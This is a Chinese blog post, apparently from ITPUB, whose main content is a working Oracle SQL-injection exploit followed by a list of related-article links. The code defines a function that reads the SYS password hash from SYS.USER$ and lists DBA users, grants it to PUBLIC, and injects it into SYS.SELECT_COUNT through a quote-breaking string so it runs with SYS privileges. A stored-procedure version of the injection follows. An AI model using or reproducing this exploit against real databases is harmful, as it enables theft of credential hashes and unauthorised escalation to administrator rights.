DBA使用者查詢
CREATE OR REPLACE FUNCTION GET_IT RETURN VARCHAR2 AUTHID CURRENT_USER IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFF VARCHAR2(30);
STMT VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
STMT:='SELECT PASSWORD FROM SYS.USER$ WHERE NAME = ''SYS''';
EXECUTE IMMEDIATE STMT INTO BUFF;
DBMS_OUTPUT.PUT_LINE('SYS PASSWORD HASH IS ' || BUFF);
OPEN CV FOR 'SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE=''DBA''';
LOOP
FETCH CV INTO BUFF;
DBMS_OUTPUT.PUT_LINE(BUFF || ' IS A DBA.');
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
RETURN 'FOO';
END;
/
GRANT EXECUTE ON GET_IT TO PUBLIC;
SELECT SYS.SELECT_COUNT('FOO'' || SCOTT.GET_IT()--') FROM DUAL;
[@more@]封裝到儲存過程:
DECLARE
CNT NUMBER;
BEGIN
CNT:=SYS.SELECT_COUNT('SYS'' || SCOTT.GET_IT()--');
DBMS_OUTPUT.PUT_LINE(CNT);
END;
/
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/13442480/viewspace-1033711/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- PostgreSQL DBA(192) - 整行模糊查詢SQL
- mysql dba常用的查詢語句MySql
- postgresql dba常用sql查詢語句SQL
- UserService 查詢使用者查詢許可權 isGlobalQuery分析
- [20201106]11g查詢DBA_TAB_MODIFICATIONS無輸出.txt
- MySql查詢使用者許可權MySql
- mysql之查詢使用者名稱MySql
- 史上最全:PostgreSQL DBA常用SQL查詢語句(建議收藏學習)SQL
- Oracle 12c中查詢dba_soruce ORA-00604處理Oracle
- 查詢使用者登入資訊sqlSQL
- SQLServer查詢使用者儲存過程SQLServer儲存過程
- jpa 聯合查詢資料,查詢使用者資訊與部門資訊
- 根據使用者名稱和密碼查詢使用者密碼
- SQL查詢的:子查詢和多表查詢SQL
- 檢視:dba_hist_wr_control查詢到兩套庫的awr保留策略
- mysql-分組查詢-子查詢-連線查詢-組合查詢MySql
- Centos6.7查詢使用者資訊和切換使用者CentOS
- 複雜查詢—子查詢
- 查詢——二分查詢
- Linux基礎命令---查詢使用者資訊fingerLinux
- MYSQL學習筆記25: 多表查詢(子查詢)[標量子查詢,列子查詢]MySql筆記
- Liunx運維(七)-使用者管理及使用者資訊查詢命令運維
- 查詢演算法__Fibonacci查詢演算法
- group by,having查詢 ”每**“的查詢
- Elasticsearch複合查詢——boosting查詢Elasticsearch
- 商城客服系統接入,聯動查詢諮詢使用者訂單列表 以及可以向諮詢使用者推薦商品
- 查詢資料庫中的所有的普通使用者資料庫
- UserService 修改使用者查詢許可權 changeGlobalQuery分析
- UserService 刪除使用者查詢許可權 deleteUserPermission分析delete
- 商城-使用者註冊-根據使用者名稱和密碼查詢使用者密碼
- Linux下使用者的管理(使用者新增,刪除,查詢,切換等)Linux
- 離線查詢與線上查詢
- 查詢演算法__插值查詢演算法
- oracle 精確查詢和模糊查詢Oracle
- pgsql查詢優化之模糊查詢SQL優化
- MySQL - 資料查詢 - 簡單查詢MySql
- [20201218]快速替代查詢dba_extents.txt
- SSH:hiberate實現資料的查詢(單查詢和全查詢)
- 21億Q綁查詢21億Q綁查詢21億Q綁查詢21億Q綁查詢21億Q綁查詢